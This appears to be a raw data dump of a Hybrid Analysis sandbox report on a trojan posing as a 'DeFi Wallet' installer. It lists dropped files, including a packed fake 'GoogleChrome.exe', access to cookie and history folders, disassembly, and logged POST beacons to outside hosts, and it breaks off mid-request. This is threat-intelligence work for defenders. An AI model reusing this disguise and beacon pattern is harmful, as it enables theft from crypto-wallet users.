24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 35:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4d9,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Generik.KRQHYDM trojan Sample 0d683f56f2b3… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 0d683f56f2b3…. Malware family: Generik.KRQHYDM trojan. Threat score 100/100. 5/25 AV engines flagged this file. 7 malicious and 25 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601fb8f","keywords":["Malicious","Generik.KRQHYDM trojan","malware analysis","sandbox report","threat intelligence","0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601fb8f"],"about":{"@type":"SoftwareApplication","name":"0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601fb8f","applicationCategory":["peexe","executable"],"identifier":"0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601fb8f","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Generik.KRQHYDM trojan","antivirusDetections":{"malicious":5,"total":25},"behavioralIndicators":{"malicious":7,"suspicious":25},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T66a,"libEGL.dll" contains export function called "eglBindAPI" at ordinal 14 "libEGL.dll" contains export function called "eglBindTexImage" at ordinal 20 "libEGL.dll" contains export function called "eglChooseConfig" at ordinal 7 "libEGL.dll" contains export function called "eglClientWaitSyncKHR" at ordinal 35 "libEGL.dll" contains export function called "eglCopyBuffers" at ordinal 33 "libEGL.dll" contains export function called "eglCreateContext" at ordinal 23 "libEGL.dll" contains export function called "eglCreateImageKHR" at ordinal 36 "libEGL.dll" contains export function called "eglCreatePbufferFromClientBuffer" at ordinal 18 "libEGL.dll" contains export function called "eglCreatePbufferSurface" at ordinal 10 "libEGL.dll" contains export function called "eglCreatePixmapSurface" at ordinal 11 "libEGL.dll" contains export function called "eglCreatePlatformPixmapSurfaceEXT" at ordinal 37 "libEGL.dll" contains export function called "eglCreatePlatformWindowSurfaceEXT" at ordinal 38 "libEGL.dll" contains export function called "eglCreateSyncKHR" at ordinal 39 "libEGL.dll" contains export function called "eglCreateWindowSurface" at ordinal 9 "libEGL.dll" contains export function called "eglDestroyContext" at ordinal 24 "libEGL.dll" contains export function called "eglDestroyImageKHR" at ordinal 40 "libEGL.dll" contains export function called "eglDestroySurface" at ordinal 12 "libEGL.dll" contains export function called "eglDestroySyncKHR" at ordinal 41 "libEGL.dll" contains export function called "eglGetConfigAttrib" at ordinal 8 "libEGL.dll" contains export function called "eglGetConfigs" at ordinal 626:T881,Antivirus vendors marked dropped file "libEGL.dll" as clean (type is "PE32+ executable (DLL) (console) x86-64 for MS Windows"), Antivirus vendors marked dropped file "System.dll" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "StdUtils.dll" as clean (type is "PE32 executable (DLL) (console) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "elevate.exe" as clean (type is "PE32 executable (console) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "nsProcess.dll" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "ffmpeg.dll" as clean (type is "PE32+ executable (DLL) (console) x86-64 for MS Windows"), Antivirus vendors marked dropped file "vk_swiftshader.dll" as clean (type is "PE32+ executable (DLL) (console) x86-64 for MS Windows"), Antivirus vendors marked dropped file "v8_context_snapshot.bin" as clean (type is "data"), Antivirus vendors marked dropped file "libGLESv2.dll" as clean (type is "PE32+ executable (DLL) (console) x86-64 for MS Windows"), Antivirus vendors marked dropped file "nsDialogs.dll" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "nsis7z.dll" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "UAC.dll" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "d3dcompiler_47.dll" as clean (type is "PE32+ executable (DLL) (console) x86-64 for MS Windows"), Antivirus vendors marked dropped file "Uninstall DeFi Wallet.exe" as clean (type is "PE32 executable (GUI) Intel 80386 for MS Windows Nullsoft Installer self-extracting archive"), Antivirus vendors marked dropped file "snapshot_blob.bin" as clean (type is "data"), Antivirus vendors marked dropped file "vulkan-1.dll" as clean (type is "PE32+ executable (DLL) (console) x86-64 for MS Windows"), Antivirus vendors marked dropped file "WinShell.dll" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows")27:T43f,"FlsGetValue" (Indicator: "FlsGetValue") "FlsSetValue" (Indicator: "FlsSetValue") "InitializeCriticalSectionEx" (Indicator: "InitializeCriticalSection") "CorExitProcess" (Indicator: "ExitProcess") "LocaleNameToLCID" (Indicator: "LocaleNameToLCID") "GetModuleFileNameA" (Indicator: "GetModuleFileNameA") "SizeofResource" (Indicator: "SizeofResource") "FindResourceA" (Indicator: "FindResourceA") "LoadResource" (Indicator: "LoadResource") "CreateProcessA" (Indicator: "CreateProcessA") "GlobalUnlock" (Indicator: "GlobalUnlock") "UnhandledExceptionFilter" (Indicator: "UnhandledExceptionFilter") "SetUnhandledExceptionFilter" (Indicator: "SetUnhandledExceptionFilter") "GetCurrentProcess" (Indicator: "GetCurrentProcess") "TerminateProcess" (Indicator: "TerminateProcess") "IsProcessorFeaturePresent" (Indicator: "IsProcessorFeaturePresent") "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter") "GetCurrentProcessId" (Indicator: "GetCurrentProcess") "GetCurrentThreadId" (Indicator: "GetCurrentThread") "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime")28:Ta46,"GoogleChrome.exe" touched "WinInetBroker Class" (Path: "HKCU\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}") "GoogleChrome.exe" touched "PSFactoryBuffer" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\INPROCHANDLER") "GoogleChrome.exe" touched "NetworkListManager" (Path: "HKCU\WOW6432NODE\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}") "GoogleChrome.exe" touched "Network List Manager" (Path: "HKCU\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}\LOCALSERVER32") ".exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") ".exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\PROGID") ".exe" touched "Microsoft Multiple AutoComplete List Container" (Path: "HKCU\WOW6432NODE\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\TREATAS") ".exe" touched "Microsoft Shell Folder AutoComplete List" (Path: "HKCU\WOW6432NODE\CLSID\{03C036F1-A186-11D0-824A-00AA005B4383}\TREATAS") ".exe" touched "Microsoft AutoComplete" (Path: "HKCU\WOW6432NODE\CLSID\{00BB2763-6A77-11D0-A535-00C04FD7D062}\TREATAS") ".exe" touched "Microsoft TipAutoCompleteClient Control" (Path: "HKCU\WOW6432NODE\CLSID\{807C1E6C-1D00-453F-B920-B61BB7CDD997}\INPROCSERVER32") ".exe" touched "ShellWindows" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{9BA05972-F6A8-11CF-A442-00A0C90A8F39}\LOCALSERVER32") ".exe" touched "PSOAInterface" (Path: "HKCU\WOW6432NODE\CLSID\{00020424-0000-0000-C000-000000000046}\TREATAS") ".exe" touched "PSDispatch" (Path: "HKCU\WOW6432NODE\CLSID\{00020420-0000-0000-C000-000000000046}\TREATAS") ".exe" touched "Search Gatherer Notification" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}\LOCALSERVER32") ".exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") ".exe" touched "Shortcut" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00021401-0000-0000-C000-000000000046}\TREATAS") ".exe" touched "UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") ".exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INPROCSERVER32") ".exe" touched "Shell File System Folder" (Path: "HKCU\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\TREATAS")29:T44d,"libEGL.dll" has an writable section named ".data" "libEGL.dll" has an writable section named ".tls" "System.dll" has an writable section named ".data" "StdUtils.dll" has an writable section named ".data" "elevate.exe" has an writable section named ".data" "nsProcess.dll" has an writable section named ".data" "ffmpeg.dll" has an writable section named ".data" "ffmpeg.dll" has an writable section named ".tls" "vk_swiftshader.dll" has an writable section named ".data" "vk_swiftshader.dll" has an writable section named ".tls" "libGLESv2.dll" has an writable section named ".data" "libGLESv2.dll" has an writable section named ".tls" "nsDialogs.dll" has an writable section named ".data" "GoogleChrome.exe" has an writable section named "UPX0" "GoogleChrome.exe" has an writable section named "UPX1" "GoogleChrome.exe" has an writable section named ".rsrc" "nsis7z.dll" has an writable section named ".data" "UAC.dll" has an writable section named ".data" "d3dcompiler_47.dll" has an writable section named ".data" "Uninstall DeFi Wallet.exe" has an writable section named ".data"2a:T25ce,"libEGL.dll" file has an entrypoint instructions - "movqword ptr [rsp + 8], rbx,movqword ptr [rsp + 0x10], rsi,pushrdi,subrsp, 0x20,movrdi, r8,movebx, edx,movrsi, rcx,cmpedx, 1,jne0x18001e801,call0x18001e820,movr8, rdi,movedx, ebx,movrcx, rsi,movrbx, qword ptr [rsp + 0x30],movrsi, qword ptr [rsp + 0x38],addrsp, 0x20,poprdi,jmp0x18001e6a0,int3,int3,int3,movqword ptr [rsp + 0x20], rbx,pushrbp,movrbp, rsp,subrsp, 0x20,movrax, qword ptr [rip + 0x4b7e4],movabsrbx, 0x2b992ddfa232,cmprax, rbx,jne0x18001e8b7," "System.dll" file has an entrypoint instructions - "moveax, dword ptr [esp + 4],cmpdword ptr [esp + 8], 1,movdword ptr [0x10005048], eax,jne0x100029e3,push0x1000504c,push0x40,push4,push0x1000505c,calldword ptr [0x10004038],xoreax, eax,movbyte ptr [0x1000505c], 0xc2,movdword ptr [0x1000504c], eax,movdword ptr [0x10005054], eax,movdword ptr [0x10005068], eax,movdword ptr [0x10005058], eax,movdword ptr [0x10005050], eax,movdword ptr [0x10005060], eax,movbyte ptr [0x1000505e], al,xoreax, eax,inceax,ret0xc,moveax, 0x10000,ret,moveax, dword ptr [esp + 4]," "StdUtils.dll" file has an entrypoint instructions - "cmpdword ptr [esp + 8], 1,jne0x1000eae7,push0x10019550,calldword ptr [0x10014044],moveax, dword ptr [esp + 4],movdword ptr [0x1001959c], 0,movbyte ptr [0x10019582], 0,movdword ptr [0x10019598], eax,jmp0x1000eafe,cmpdword ptr [esp + 8], 0,jne0x1000eafe,call0x10005968,push0x10019550,calldword ptr [0x10014078],xoreax, eax,inceax,ret0xc,cmpdword ptr [esp + 4], 0,jl0x1000eb12,cmpdword ptr [esp + 4], 1,jle0x1000eb1d,push0x10014398,calldword ptr [0x1001403c]," "elevate.exe" file has an entrypoint instructions - "call0x401e04,jmp0x4018f0,pushebp,movebp, esp,push0,calldword ptr [0x413020],pushdword ptr [ebp + 8],calldword ptr [0x41301c],push0xc0000409,calldword ptr [0x413024],pusheax,calldword ptr [0x413028],popebp,ret,pushebp,movebp, esp,subesp, 0x324,push0x17,call0x410fd4,testeax, eax,je0x401ab7,push2,popecx,int0x29,movdword ptr [0x41a8f0], eax,movdword ptr [0x41a8ec], ecx,movdword ptr [0x41a8e8], edx,movdword ptr [0x41a8e4], ebx," "nsProcess.dll" file has an entrypoint instructions - "xoreax, eax,inceax,ret0xc,pushebp,movebp, esp,pushesi,pushedi,movedi, dword ptr [ebp + 8],leaeax, [ebp + 8],pusheax,pushedi,calldword ptr [0x10002050],movesi, dword ptr [ebp + 0xc],moveax, dword ptr [ebp + 8],cmpeax, dword ptr [esi],jne0x10001036,push0,push0,push0x10,pushdword ptr [esi + 4],calldword ptr [0x1000205c],movdword ptr [esi + 4], edi,xoreax, eax,popedi,inceax,popesi,popebp,ret8,pushebp,movebp, esp,subesp, 0xc,pushebx,pushesi,movesi, dword ptr [ebp + 8],pushedi,pushesi,xorebx, ebx,pushebx,push0x100401,calldword ptr [0x10002010],movedi, eax,cmpedi, ebx,je0x100010cb,movdword ptr [ebp - 0xc], esi," "ffmpeg.dll" file has an entrypoint instructions - "movqword ptr [rsp + 8], rbx,movqword ptr [rsp + 0x10], rsi,pushrdi,subrsp, 0x20,movrdi, r8,movebx, edx,movrsi, rcx,cmpedx, 1,jne0x1800b07a1,call0x1800b07c0,movr8, rdi,movedx, ebx,movrcx, rsi,movrbx, qword ptr [rsp + 0x30],movrsi, qword ptr [rsp + 0x38],addrsp, 0x20,poprdi,jmp0x1800b0640,int3,int3,int3,movqword ptr [rsp + 0x20], rbx,pushrbp,movrbp, rsp,subrsp, 0x20,movrax, qword ptr [rip + 0x1d4844],movabsrbx, 0x2b992ddfa232,cmprax, rbx,jne0x1800b0857," "vk_swiftshader.dll" file has an entrypoint instructions - "movqword ptr [rsp + 8], rbx,movqword ptr [rsp + 0x10], rsi,pushrdi,subrsp, 0x20,movrdi, r8,movebx, edx,movrsi, rcx,cmpedx, 1,jne0x18030ef61,call0x18030ef80,movr8, rdi,movedx, ebx,movrcx, rsi,movrbx, qword ptr [rsp + 0x30],movrsi, qword ptr [rsp + 0x38],addrsp, 0x20,poprdi,jmp0x18030ee00,int3,int3,int3,movqword ptr [rsp + 0x20], rbx,pushrbp,movrbp, rsp,subrsp, 0x20,movrax, qword ptr [rip + 0x119094],movabsrbx, 0x2b992ddfa232,cmprax, rbx,jne0x18030f017," "libGLESv2.dll" file has an entrypoint instructions - "movqword ptr [rsp + 8], rbx,movqword ptr [rsp + 0x10], rsi,pushrdi,subrsp, 0x20,movrdi, r8,movebx, edx,movrsi, rcx,cmpedx, 1,jne0x180273ba1,call0x180273bc0,movr8, rdi,movedx, ebx,movrcx, rsi,movrbx, qword ptr [rsp + 0x30],movrsi, qword ptr [rsp + 0x38],addrsp, 0x20,poprdi,jmp0x180273a40,int3,int3,int3,movqword ptr [rsp + 0x20], rbx,pushrbp,movrbp, rsp,subrsp, 0x20,movrax, qword ptr [rip + 0x82454],movabsrbx, 0x2b992ddfa232,cmprax, rbx,jne0x180273c57," "nsDialogs.dll" file has an entrypoint instructions - "moveax, dword ptr [esp + 4],movdword ptr [0x10006124], eax,xoreax, eax,inceax,ret0xc,call0x10002053,movdword ptr [0x1000614c], eax,ret,pushebp,movebp, esp,cmpdword ptr [0x1000614c], 0,je0x10001e2e,moveax, dword ptr [ebp + 8],pushesi,pushedi,movedi, dword ptr [ebp + 0x10],cmpeax, 1,je0x10001e02,push2,popesi,cmpeax, esi,je0x10001df5,cmpeax, 4,jle0x10001def,cmpeax, 6,jle0x10001df5,cmpeax, 7,je0x10001dcc,cmpeax, 8,je0x10001e02,cmpeax, 9,jne0x10001def,moveax, dword ptr [ebp + 0xc],ordword ptr [eax], 0x40,ordword ptr [edi], 0x401000," "GoogleChrome.exe" file has an entrypoint instructions - "pushal,movesi, 0x41c000,leaedi, [esi - 0x1b000],pushedi,orebp, 0xffffffff,jmp0x42c9f2,nop,nop,nop,nop,nop,nop,moval, byte ptr [esi],incesi,movbyte ptr [edi], al,incedi,addebx, ebx,jne0x42c9f9,movebx, dword ptr [esi],subesi, -4,adcebx, ebx,jb0x42c9e8,moveax, 1,addebx, ebx,jne0x42ca0b,movebx, dword ptr [esi],subesi, -4,adcebx, ebx,adceax, eax,addebx, ebx,jae0x42ca00,jne0x42ca1c,movebx, dword ptr [esi],subesi, -4,adcebx, ebx,jae0x42ca00,xorecx, ecx,subeax, 3,jb0x42ca30,shleax, 8,moval, byte ptr [esi],incesi,xoreax, 0xffffffff,je0x42caa2,movebp, eax,addebx, ebx,jne0x42ca3b," "nsis7z.dll" file has an entrypoint instructions - "pushebp,movebp, esp,cmpdword ptr [ebp + 0xc], 1,jne0x10041926,call0x10041d9f,pushdword ptr [ebp + 0x10],pushdword ptr [ebp + 0xc],pushdword ptr [ebp + 8],call0x100417e7,addesp, 0xc,popebp,ret0xc,int3,int3,int3,int3,int3,pushecx,leaecx, [esp + 4],subecx, eax,sbbeax, eax,noteax,andecx, eax,moveax, esp,andeax, 0xfffff000,cmpecx, eax,bnd jb0x10041964,moveax, ecx,popecx,xchgeax, esp,moveax, dword ptr [eax],movdword ptr [esp], eax,bnd ret,subeax, 0x1000,testdword ptr [eax], eax,jmp0x10041954,jmp0x10045e26,pushebp,movebp, esp,pushesi,pushdword ptr [ebp + 8],movesi, ecx," "UAC.dll" file has an entrypoint instructions - "cmpdword ptr [esp + 8], 1,jne0x100029b2,moveax, dword ptr [esp + 4],pushedi,push0x38,movdword ptr [0x10004014], eax,xoral, al,popecx,movedi, 0x1000401c,rep stosbbyte ptr es:[edi], al,calldword ptr [0x10001030],calldword ptr [0x10001098],popedi,xoreax, eax,inceax,ret0xc,pushebp,movebp, esp,subesp, 0x208,leaeax, [ebp - 0x208],pushesi,movcl, byte ptr [edx],movsxsi, cl,movword ptr [eax], si,inceax,inceax,incedx,testcl, cl,jne0x100029c8,leaeax, [ebp - 0x208],pusheax,push0,push0xc,pushdword ptr [ebp + 0xc],pushdword ptr [ebp + 8]," "d3dcompiler_47.dll" file has an entrypoint instructions - "movqword ptr [rsp + 8], rbx,movqword ptr [rsp + 0x10], rsi,pushrdi,subrsp, 0x20,movrdi, r8,movebx, edx,movrsi, rcx,cmpedx, 1,jne0x18026e151,call0x18026e51c,movr8, rdi,movedx, ebx,movrcx, rsi,movrbx, qword ptr [rsp + 0x30],movrsi, qword ptr [rsp + 0x38],addrsp, 0x20,poprdi,jmp0x18026dff0,int3,int3,int3,int3,int3,int3,int3,int3,int3,nopword ptr [rax + rax],cmprcx, qword ptr [rip + 0x1b6e99],bnd jne0x18026e19c,rolrcx, 0x10,testcx, 0xffff," "Uninstall DeFi Wallet.exe" file has an entrypoint instructions - "subesp, 0x2cc,anddword ptr [esp], 0,pushebx,pushebp,pushesi,pushedi,push0x20,popebx,push0x8001,movedi, 0x40a238,xorebp, ebp,calldword ptr [0x409098],calldword ptr [0x4090a4],push6,andeax, 0xbfffffff,popecx,movdword ptr [0x476210], eax,cmpax, cx,je0x403a39,pushebp,call0x406e4e,testeax, eax,je0x403a39,push0xc00,calleax,movesi, 0x40a1e0,pushesi,call0x40643f,pushesi,calldword ptr [0x409104],incesi,addesi, eax,cmpbyte ptr [esi], 0," "libEGL.dll" file has an entrypoint instructions - "movqword ptr [rsp + 8], rbx,movqword ptr [rsp + 0x10], rsi,pushrdi,subrsp, 0x20,movrdi, r8,movebx, edx,movrsi, rcx,cmpedx, 1,jne0x180019b51,call0x180019b70,movr8, rdi,movedx, ebx,movrcx, rsi,movrbx, qword ptr [rsp + 0x30],movrsi, qword ptr [rsp + 0x38],addrsp, 0x20,poprdi,jmp0x1800199f0,int3,int3,int3,movqword ptr [rsp + 0x20], rbx,pushrbp,movrbp, rsp,subrsp, 0x20,movrax, qword ptr [rip + 0x4c494],movabsrbx, 0x2b992ddfa232,cmprax, rbx,jne0x180019c07," "vulkan-1.dll" file has an entrypoint instructions - "movqword ptr [rsp + 8], rbx,movqword ptr [rsp + 0x10], rsi,pushrdi,subrsp, 0x20,movrdi, r8,movebx, edx,movrsi, rcx,cmpedx, 1,jne0x180048741,call0x180048760,movr8, rdi,movedx, ebx,movrcx, rsi,movrbx, qword ptr [rsp + 0x30],movrsi, qword ptr [rsp + 0x38],addrsp, 0x20,poprdi,jmp0x1800485e0,int3,int3,int3,movqword ptr [rsp + 0x20], rbx,pushrbp,movrbp, rsp,subrsp, 0x20,movrax, qword ptr [rip + 0x648a4],movabsrbx, 0x2b992ddfa232,cmprax, rbx,jne0x1800487f7," "WinShell.dll" file has an entrypoint instructions - "xoreax, eax,inceax,ret0xc,int3,int3,int3,incesp,adceax, dword ptr [eax],addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [ebx + edx + 0x10000000], cl,addbyte ptr [eax], al,pushesp,adceax, dword ptr [eax],addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [esi + 0x10000013], ch,adcbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [edx + 0x13], ch,addbyte ptr [eax], al,jl0x1000135d,addbyte ptr [eax], al,popesp,adceax, dword ptr [eax],addbyte ptr [eax], al,addbyte ptr [eax], al,addbyte ptr [edx + 0x13], bl,addbyte ptr [eax], al,adddh, cl,addbyte ptr [edi + 0x6c], al,outsddx, dword ptr [esi],"2b:Td13,"libEGL.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows"- Location: [%LOCALAPPDATA%\Programs\DeFi Wallet\swiftshader\libEGL.dll]- [targetUID: 00000000-00003772] "System.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\nsd793A.tmp\System.dll]- [targetUID: 00000000-00003772] "DeFi Wallet.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Has Working directory Icon number=0 Archive ctime=Wed Oct 19 02:25:00 2022 mtime=Wed Oct 19 02:25:00 2022 atime=Sun Nov 14 18:49:34 2021 length=140556288 window=hide"- Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\DeFi Wallet.lnk]- [targetUID: 00000000-00003772] "StdUtils.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"- Location: [%TEMP%\nsd793A.tmp\StdUtils.dll]- [targetUID: 00000000-00003772] "elevate.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\Programs\DeFi Wallet\resources\elevate.exe]- [targetUID: 00000000-00003772] "nsProcess.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\nsd793A.tmp\nsProcess.dll]- [targetUID: 00000000-00003772] "ffmpeg.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows"- Location: [%LOCALAPPDATA%\Programs\DeFi Wallet\ffmpeg.dll]- [targetUID: 00000000-00003772] "vk_swiftshader.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows"- Location: [%LOCALAPPDATA%\Programs\DeFi Wallet\vk_swiftshader.dll]- [targetUID: 00000000-00003772] "v8_context_snapshot.bin" has type "data"- Location: [%LOCALAPPDATA%\Programs\DeFi Wallet\v8_context_snapshot.bin]- [targetUID: 00000000-00003772] "libGLESv2.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows"- Location: [%LOCALAPPDATA%\Programs\DeFi Wallet\swiftshader\libGLESv2.dll]- [targetUID: 00000000-00003772] "nsDialogs.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\nsd793A.tmp\nsDialogs.dll]- [targetUID: 00000000-00003772] "GoogleChrome.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows UPX compressed"- Location: [%ALLUSERSPROFILE%\Microsoft\GoogleChrome.exe]- [targetUID: 00000000-00002896] "nsis7z.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\nsd793A.tmp\nsis7z.dll]- [targetUID: 00000000-00003772] "UAC.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\nsd793A.tmp\UAC.dll]- [targetUID: 00000000-00003772] "d3dcompiler_47.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows"- Location: [%LOCALAPPDATA%\Programs\DeFi Wallet\d3dcompiler_47.dll]- [targetUID: 00000000-00003772] "Uninstall DeFi Wallet.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows Nullsoft Installer self-extracting archive"- Location: [%LOCALAPPDATA%\Programs\DeFi Wallet\Uninstall DeFi Wallet.exe]- [targetUID: 00000000-00003772] "snapshot_blob.bin" has type "data"- Location: [%LOCALAPPDATA%\Programs\DeFi Wallet\snapshot_blob.bin]- [targetUID: 00000000-00003772] "vulkan-1.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows"- Location: [%LOCALAPPDATA%\Programs\DeFi Wallet\vulkan-1.dll]- [targetUID: 00000000-00003772]2c:T4ad,".exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "GoogleChrome.exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "GoogleChrome.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files" "GoogleChrome.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies" "GoogleChrome.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "GoogleChrome.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat" "GoogleChrome.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files" "GoogleChrome.exe" touched file "%APPDATA%\Microsoft\Windows\Cookies" "GoogleChrome.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "GoogleChrome.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\counters.dat" ".exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" ".exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\DeFi Wallet.lnk" ".exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches"2d:T412,Heuristic match: "^Vu'f#!6.jP" Heuristic match: "iV:nL.AI" Heuristic match: "Fx;7*o5.MV" Pattern match: "http://nsis.sf.net/NSIS_Error" Heuristic match: "emsystec.com" Pattern match: "www.gyro3d.com" Pattern match: "www.newbusantour.co.kr" Heuristic match: "bitseed.xf2.org" Heuristic match: "x9.seed.defichain.io" Heuristic match: "x9.seed.mydeficha.in" Pattern match: "http://emsystec.com/include/inc.asp" Pattern match: "http://www.gyro3d.com/common/faq.asp" Pattern match: "http://www.newbusantour.co.kr/gallery/left.asp" Pattern match: "www.newbusantour.co.kr/gallery/left.asp" Pattern match: "http://int3.de/" Heuristic match: "C:\Users\HAPUBWS\AppData\Local\Programs\DeFi Wallet\resources\app.asar.unpacked\node_modules\7zip-bin\linux\x64\do-build.sh" Heuristic match: "C:\Users\HAPUBWS\AppData\Local\Programs\DeFi Wallet\resources\app.asar.unpacked\node_modules\7zip-bin\7x.sh" Heuristic match: "C:\Users\HAPUBWS\AppData\Local\Programs\DeFi Wallet\resources\app.asar.unpacked\node_modules\7zip-bin\linux\x64\build.sh"2e:T44d,"System.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\nsd793A.tmp\System.dll]- [targetUID: 00000000-00003772] "StdUtils.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"- Location: [%TEMP%\nsd793A.tmp\StdUtils.dll]- [targetUID: 00000000-00003772] "nsProcess.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\nsd793A.tmp\nsProcess.dll]- [targetUID: 00000000-00003772] "nsDialogs.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\nsd793A.tmp\nsDialogs.dll]- [targetUID: 00000000-00003772] "nsis7z.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\nsd793A.tmp\nsis7z.dll]- [targetUID: 00000000-00003772] "UAC.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\nsd793A.tmp\UAC.dll]- [targetUID: 00000000-00003772] "WinShell.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\nsd793A.tmp\WinShell.dll]- [targetUID: 00000000-00003772]2f:Tecb,"POST /include/inc.asp HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) Host: emsystec.com Content-Length: 80 Cache-Control: no-cache" with no payload "POST /include/inc.asp HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 